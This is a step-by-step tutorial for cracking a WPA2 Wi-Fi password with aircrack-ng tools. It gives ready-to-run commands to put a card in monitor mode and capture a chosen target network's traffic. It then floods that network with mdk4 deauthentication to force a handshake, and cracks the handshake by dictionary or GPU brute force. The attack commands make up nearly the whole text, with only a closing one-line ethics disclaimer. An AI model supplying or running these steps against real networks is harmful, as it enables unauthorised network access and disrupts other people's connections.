## Step 1: Set Up Your Wireless Card in Monitor Mode 🔌📶

First, you need to put your wireless card into monitor mode so you can listen to all the traffic. Run this command:

```bash
airmon-ng start wlan0
```

This makes your card ready to sniff out networks.

---

## Step 2: Scan for Networks 🔍

Now that your card is in monitor mode, let’s find the available networks. Use:

```bash
airodump-ng wlan0mon
```

This will show you a list of all networks around you. Look for the target network you want to crack.

---

## Step 3: Focus on the Target Network 🎯

Once you’ve found your target network, filter the capture to only focus on that one by using this command:

```bash
airodump-ng -c [channel] --bssid [BSSID] -w capture wlan0mon
```

- Replace `[channel]` with the network's channel.
- Replace `[BSSID]` with the target's BSSID (the network's MAC address).

The `-w capture` will save your data into a file for later use. Make sure you note the filename!

---

## Step 4: Force Devices to Reconnect (Capture That Handshake) 🔐

Now we need to capture the WPA2 handshake, which happens when a device connects or reconnects to the network. Force it with:

language-bash

```bash
mdk4 wlan0mon d -E "TargetSSID" -c [channel]
```

- Replace `"TargetSSID"` with the network name.
- Replace `[channel]` with the target network's channel.

This will flood the network and encourage devices to reconnect, triggering the handshake.

---

## Step 5: Crack the Handshake 🔒

Once you've captured the handshake (you'll see it in the `capture-01.cap` file), it's time to crack it. You can either use a dictionary attack with `aircrack-ng` or a brute-force attack using `hashcat`.

For a dictionary attack with `aircrack-ng`, run:

language-bash

```bash
aircrack-ng -w [wordlist] -b [BSSID] capture-01.cap
```

- Replace `[wordlist]` with the path to your dictionary file.
- Replace `[BSSID]` with the target network's BSSID.

If you want to go all-in and use GPU power for a brute-force attack, you can use `hashcat` for faster cracking.

---

## And that's it! 🎉

Now you've learned the basic process of capturing and cracking WPA2 handshakes. Remember to always use this knowledge ethically and within legal boundaries! 🧑‍💻🔒